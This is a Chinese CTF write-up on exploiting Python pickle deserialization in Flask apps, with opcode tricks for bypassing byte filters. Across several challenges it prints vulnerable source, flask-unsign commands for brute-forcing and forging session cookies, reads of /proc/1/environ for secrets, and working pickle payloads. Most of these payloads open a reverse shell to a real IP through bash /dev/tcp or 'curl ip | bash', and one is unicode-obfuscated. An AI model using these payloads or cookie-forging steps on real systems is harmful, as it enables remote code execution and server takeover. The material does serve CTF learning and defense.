CTF题型 Python中pickle反序列化进阶利用&例题&opache绕过(1)

})

@app.route(‘/’, methods=(‘GET’,))
def index_handler():
if not session.get(‘u’):
u = pickle.dumps(User())
session[‘u’] = u
return “/file?file=index.js”

@app.route(‘/file’, methods=(‘GET’,))
def file_handler():
path = request.args.get(‘file’)
path = os.path.join(‘static’, path)
if not os.path.exists(path) or os.path.isdir(path)
or ‘.py’ in path or ‘.sh’ in path or ‘…’ in path or “flag” in path:
return ‘disallowed’

with open(path, 'r') as fp:
    content = fp.read()
return content

@app.route(‘/admin’, methods=(‘GET’,))
def admin_handler():
try:
u = session.get(‘u’)
if isinstance(u, dict):
u = b64decode(u.get(‘b’))
u = pickle.loads(u)
except Exception:
return ‘uhh?’

if u.is_admin == 1:
    return 'welcome, admin'
else:
    return 'who are you?'

if name == ‘__main__’:
app.run(‘0.0.0.0’, port=80, debug=False)


直接读环境变量`/proc/1/environ`


发现 secret\_key=`glzjin22948575858jfjfjufirijidjitg3uiiuuh`


可以直接伪造secret\_key


![image-20240325092958651](https://img-blog.csdnimg.cn/img_convert/7de4f6c75d3642b6c853e4edfdbd53f2.png)


漏洞代码



@app.route(‘/admin’, methods=(‘GET’,))
def admin_handler():
try:
u = session.get(‘u’)
if isinstance(u, dict):
u = b64decode(u.get(‘b’))
u = pickle.loads(u)
except Exception:
return ‘uhh?’


伪造session实现 读取 u 中的 b值


对b中的值进行反序列化,可以直接触发RCE


`>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"`


在linux系统下运行



import os
import pickle
import base64
User = type(‘User’, (object,), {
‘uname’: ‘test’,
‘is_admin’: 0,
‘__repr__’: lambda o: o.uname,
‘__reduce__’: lambda o: (os.system, (‘bash -c “bash -i >& /dev/tcp/148.135.82.190/8888 0>&1”’,))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())


生成后伪造


![image-20240325093400538](https://img-blog.csdnimg.cn/img_convert/336fba92e527403b14ebfbefe236a7a5.png)


用hackerbar发cookie触发


![image-20240325093456429](https://img-blog.csdnimg.cn/img_convert/45f230202286649d8ce47f5be280e510.png)


可以反弹shell


#### 2.[0xgame 2023 Notebook]


当时环境是给了源码



from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(name)
app.config[‘SECRET_KEY’] = os.urandom(2).hex()

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
    return self._name

@property
def content(self):
    return self._content

@app.route(‘/’)
def index():
return render_template(‘index.html’)

@app.route(‘/path:note\_id’, methods=[‘GET’])
def view_note(note_id):
notes = session.get(‘notes’)
if not notes:
return render_template(‘note.html’, msg=‘You have no notes’)

note_raw = notes.get(note_id)
if not note_raw:
    return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

@app.route(‘/add_note’, methods=[‘POST’])
def add_note():
note_name = request.form.get(‘note_name’)
note_content = request.form.get(‘note_content’)

if note_name == '' or note_content == '':
    return render_template('index.html', status='add\_failed', msg='note name or content is empty')

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get('notes'):
    session['notes'] = {}

notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add\_success', note_id=note_id)

@app.route(‘/delete_note’, methods=[‘POST’])
def delete_note():
note_id = request.form.get(‘note_id’)
if not note_id:
return render_template(‘index.html’)

notes = session.get('notes')
if not notes:
    return render_template('index.html', status='delete\_failed', msg='You have no notes')

if not notes.get(note_id):
    return render_template('index.html', status='delete\_failed', msg='This note does not exist')

del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete\_success')

if name == ‘__main__’:
app.run(host=‘0.0.0.0’, port=8000, debug=False)


题目分析:


`app.config['SECRET_KEY'] = os.urandom(2).hex()`


secret\_key是弱密钥可以爆破 进行伪造



@app.route(‘/path:note\_id’, methods=[‘GET’])
def view_note(note_id):
notes = session.get(‘notes’)
if not notes:
return render_template(‘note.html’, msg=‘You have no notes’)

note_raw = notes.get(note_id)
if not note_raw:
    return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

session伪造的结构{‘notes’:{‘note\_id’:‘payload’}}


在`/<path:note_id>` 路由下


`pickle.loads` 触发反序列化


题目环境有os可以用`os.system`执行任意命令


具体操作


生成爆破密钥



import os
while True:
secret_key=os.urandom(2).hex()
with open(“Desktop/secret_key.txt”,“a”) as f:
f.write(secret_key+‘\n’)


解析session



C:\Users\Administrator>flask-unsign --decode --cookie “.eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0”
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests_init_.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn’t match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn’t match a supported "
{‘notes’: {‘769b57ff-3d73-433a-811e-2bca92371c39’: b’\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}


爆破 secret\_key



flask-unsign --unsign --cookie “.eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0” -w “C:\Users\Administrator\Desktop\secret_key.txt” --no-literal-eval


![image-20240325113320643](https://img-blog.csdnimg.cn/img_convert/7977ed440700469c1ff366bd6d0b58c9.png)


拿到 `f991`


linux下运行 题目环境有os模块



import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,(‘curl ip/1 |bash’,))

a= aaa()

payload=pickle.dumps(a)
print(payload)


![image-20240325113542122](https://img-blog.csdnimg.cn/img_convert/b7c15ab2cf33af9a2a11ff439376a728.png)


利用 curl 反弹shell(适用于bash/zsh) 拿到payload`b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'`


要伪造的session`{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}`



flask-unsign --sign --cookie “{‘notes’:{‘769b57ff-3d73-433a-811e-2bca92371c39’:b’\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}” --secret “f991”


![image-20240325122756770](https://img-blog.csdnimg.cn/img_convert/b2cb5b5b95437bdc0e2dbf6034c4075e.png)


![image-20240325122818244](https://img-blog.csdnimg.cn/img_convert/2063baf29755ea0920a4b51e0f20c6f9.png)


可以弹回shell


![image-20240325122844869](https://img-blog.csdnimg.cn/img_convert/e9a0f9c26e5634d389cf0cab7f77149f.png)


#### 3.[[HZNUCTF 2023 preliminary]pickle]( )



import base64
import pickle
from flask import Flask, request

app = Flask(name)

@app.route(‘/’)
def index():
with open(‘app.py’, ‘r’) as f:
return f.read()

@app.route(‘/calc’, methods=[‘GET’])
def getFlag():
payload = request.args.get(“payload”)
pickle.loads(base64.b64decode(payload).replace(b’os’, b’'))
return “ganbadie!”

@app.route(‘/readFile’, methods=[‘GET’])
def readFile():
filename = request.args.get(‘filename’).replace(“flag”, “???”)
with open(filename, ‘r’) as f:
return f.read()

if name == ‘__main__’:
app.run(host=‘0.0.0.0’)


非预期


`/readFile?filename=/proc/1/environ`


flag在环境变量里


预期 关键代码



@app.route(‘/calc’, methods=[‘GET’])
def getFlag():
payload = request.args.get(“payload”)
pickle.loads(base64.b64decode(payload).replace(b’os’, b’'))
return “ganbadie!”


将os替换为空


用没有os的payload



import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, (“__import__(‘o’+‘s’).popen(‘curl 148.135.82.190/2 | bash’).read()”,))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))


直接反弹shell


![image-20240325134423813](https://img-blog.csdnimg.cn/img_convert/e2201dfbfca1acf9a25555d1a178b86b.png)


![image-20240325134508301](https://img-blog.csdnimg.cn/img_convert/140c762fef2fce7939634105937efa91.png)


## 二.基于opcode绕过字节码过滤


对于一些题会对传入的数据进行过滤


例如


1.`if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code`


2.`a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:`


这个时候考虑用用到opcode  
 Python中的pickle更像一门编程语言,一种基于栈的虚拟机


什么是opcode



> 
> Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。  
>  在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。
> 
> 
> 每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的  
>  opcode,以支持各种操作和语言特性。
> 
> 
> 


INST `i`、OBJ `o`、REDUCE `R` 都可以调用一个 callable 对象


### 如何编写


原理建议直接参考https://xz.aliyun.com/t/7436?time\_\_1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11


没有比这篇先知文章写的更好的


辅助生成工具pker:https://github.com/eddieivan01/pker


**一般用于绕过 find\_class 黑名单/白名单限制**


pker用法



> 
> GLOBAL  
>  对应opcode:b’c’  
>  获取module下的一个全局对象(没有import的也可以,比如下面的os):  
>  GLOBAL(‘os’, ‘system’)  
>  输入:module,instance(callable、module都是instance)
> 
> 
> INST  
>  对应opcode:b’i’  
>  建立并入栈一个对象(可以执行一个函数):  
>  INST(‘os’, ‘system’, ‘ls’)  
>  输入:module,callable,para
> 
> 
> OBJ  
>  对应opcode:b’o’  
>  建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):  
>  OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)  
>  输入:callable,para
> 
> 
> xxx(xx,…)  
>  对应opcode:b’R’  
>  使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
> 
> 
> li[0]=321  
>  或  
>  globals\_dic[‘local\_var’]=‘hello’  
>  对应opcode:b’s’  
>  更新列表或字典的某项的值
> 
> 
> xx.attr=123  
>  对应opcode:b’b’  
>  对xx对象进行属性设置
> 
> 
> return  
>  对应opcode:b’0’  
>  出栈(作为pickle.loads函数的返回值):  
>  return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
> 
> 
> 


对于做题而言会opache改写就行了


INST `i`、OBJ `o`、REDUCE `R` 都可以调用一个 callable 对象



RCE demo:

R:
b’‘‘cos\nsystem\n(S’whoami’\ntR.’‘’

i
b’‘’(S’whoami’\nios\nsystem\n.‘’’

o
b’‘’(cos\nsystem\nS’whoami’\no.‘’’

无R,i,o os可过
b’‘’(cos\nsystem\nS’calc’\nos.‘’’

无R,i,o os 可过 + 关键词过滤
b’‘’(S’key1’\nS’val1’\ndS’vul’\n(cos\nsystem\nVcalc\nos.‘’’
V操作码是可以识别\u (unicode编码绕过)
特别是命令有特殊功能字符



> 
> 易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理,易出错
> 
> 
> 


用python处理



import base64
opcode=b’‘’‘’’
print(base64.b64encode(opcode))


### 例题


#### 4.[[MTCTF 2022]easypickle]( )


当时题目环境给了源码的



import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(name)
app.config[‘SECRET_KEY’] = os.urandom(2).hex()

@app.route(‘/’)
def hello_world():
if not session.get(‘user’):
session[‘user’] = ‘’.join(random.choices(“admin”, k=5))
return ‘Hello {}!’.format(session[‘user’])

@app.route(‘/admin’)
def admin():
if session.get(‘user’) != “admin”:
return f""
else:
try:
a = base64.b64decode(session.get(‘ser_data’)).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b’R’ in a or b’i’ in a or b’o’ in a or b’b’ in a:
raise pickle.UnpicklingError(“R i o b is forbidden”)
pickle.loads(base64.b64decode(session.get(‘ser_data’)))
return “ok”
except:
return “error!”

if name == ‘__main__’:
app.run(host=‘0.0.0.0’, port=8888)


decode一下session


![image-20240325193053142](https://img-blog.csdnimg.cn/img_convert/588deb7159159503d3a91c77a39f0bcd.png)


`os.urandom(2).hex()` 爆破session


![image-20240326084806581](https://img-blog.csdnimg.cn/img_convert/daa65e15b16cdb534d88d08568b6c8cb.png)


爆破密钥为 dabe


构造类似的payload`{'user':'admin','ser_data':'payload'}`


漏洞代码



@app.route(‘/admin’)
def admin():
if session.get(‘user’) != “admin”:
return f""
else:
try:
a = base64.b64decode(session.get(‘ser_data’)).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b’R’ in a or b’i’ in a or b’o’ in a or b’b’ in a:
raise pickle.UnpicklingError(“R i o b is forbidden”)
pickle.loads(base64.b64decode(session.get(‘ser_data’)))
return “ok”
except:
return “error!”


存在逻辑问题



> 
> 替换后的 a 进行检查 `R i o b` 但是实际反序列化是`ser_data`
> 
> 
> 


因此os中o可以存在,但是单独的o是被禁止的,因为os被替换成Os,但对后续ser\_data不影响


`bash -c 'sh -i >& /dev/tcp/ip/port 0>&1'`环境只有sh


将前面总结的payload改写一下



b’‘’(S’key1’\nS’val1’\ndS’vul’\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.‘’’


`KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu`


伪造session数据:



{‘user’:‘admin’,‘ser_data’:‘KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu’}


易错 `flask-unsign --sign --cookie ""`里面就不要用""包裹了 重要!!!会产生歧义


![image-20240326085329272](https://img-blog.csdnimg.cn/img_convert/92057ed3db65d5e67799e095426bd436.png)


可以成功反弹shell


#### 5.[2021极客巅峰 opcode]



from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {‘eval’, ‘exec’, ‘execfile’, ‘compile’, ‘open’, ‘input’, ‘__import__’, ‘exit’, ‘map’}
def find_class(self, module, name):
if module == “builtins” and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError(“global ‘%s.%s’ is forbidden” % (module, name))

def loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()

app = Flask(name)

app.config[‘SECRET_KEY’] = “y0u-wi11_neuer_kn0vv-!@#se%32”

@app.route(‘/admin’, methods = [“POST”,“GET”])
def admin():
if(‘{}’.format(session[‘username’])!= ‘admin’ and str(session[‘username’] , encoding = “utf-8”)!= ‘admin’):
return “not admin”
try:
data = base64.b64decode(session[‘data’])
if “R” in data.decode():
return “nonono”
pickle.loads(data)
except Exception as e:
print(e)
return “success”

@app.route(‘/login’, methods = [“GET”,“POST”])
def login():
username = request.form.get(‘username’)
password = request.form.get(‘password’)
imagePath = request.form.get(‘imagePath’)
session[‘username’] = username + password
session[‘data’] = base64.b64encode(pickle.dumps(‘hello’ + username, protocol=0))
try:
f = open(imagePath,‘rb’).read()
except Exception as e:
f = open(‘static/image/error.png’,‘rb’).read()
imageBase64 = base64.b64encode(f)
return render_template(“login.html”, username = username, password = password, data = bytes.decode(imageBase64))

@app.route(‘/’, methods = [“GET”,“POST”])
def index():
return render_template(“index.html”)
if name == ‘__main__’:
app.run(host=‘0.0.0.0’, port=‘8888’)


注册后解码session


![image-20240326091152230](https://img-blog.csdnimg.cn/img_convert/3d609a999490ec5e231aecf9a85cb45b.png)


已知secret\_key:`y0u-wi11_neuer_kn0vv-!@#se%32`可以进行伪造


关键过滤:



if “R” in data.decode():
return “nonono”


从其他方向回调函数即可 例如从i方向


`b'''(S'bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1''\nios\nsystem\n.'''`
  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值